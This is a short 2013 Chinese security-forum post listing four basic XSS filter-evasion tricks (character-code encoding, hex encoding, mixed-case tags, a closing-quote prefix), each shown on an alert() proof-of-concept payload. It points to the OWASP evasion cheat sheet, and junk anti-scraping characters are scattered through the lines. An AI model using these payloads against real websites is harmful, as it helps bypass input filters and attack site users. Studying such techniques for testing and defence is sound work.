找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2063|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。- u' Y9 D, a: Y& _; |1 a
1.转换为ASCII码/ J' c" _: T. A
例子:原脚本为<script>alert(‘I love F4ck’)</script >6 I/ [" Y& r! G$ Z) O$ ^6 C7 M' n9 p
通过转换,变成:; `, Q- y3 a9 w
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
5 U( M2 D; V" V! ^/ b
4 M8 ^( y! O% w. a' ]0 _" p6 n1 e2.转换为HEX(十六进制)1 r) |/ A- I' A
例子:原脚本为<script>alert(‘I love F4ck’)</script>
' F; P# M0 C7 ]0 S9 k通过转换,变成:
; R! y$ S& ]7 ^( l" ?%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
0 V' S1 x9 _# P9 A/ Z: o
/ O& j1 \( D4 g9 k. |3.转换脚本的大小写
. x. {' `, M  m" L+ q8 p1 r: V6 j* w例子:原脚本为<script>alert(‘I love F4ck’)</script>2 H( x0 R% h5 W) ~6 \2 E
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>+ S+ C' M5 g$ X# V

' \# R" G3 O7 t' V& u' C# E! }4.增加闭合标记”>' S% `; J( Y, M6 W/ s
例子:原脚本为<script>alert(‘I love F4ck’)</script>
! q0 [: G# i1 O1 o转换为:”><script>alert(‘I love F4ck’)</script>
! D) K$ r( j% i7 {+ }' G2 s4 N更详细绕过技术请参考此网页
3 {% F1 a/ T" h8 m& xhttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
5 Z* S% C' H0 a1 `6 Z
$ H; T. ~  i% W1 N7 ^转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表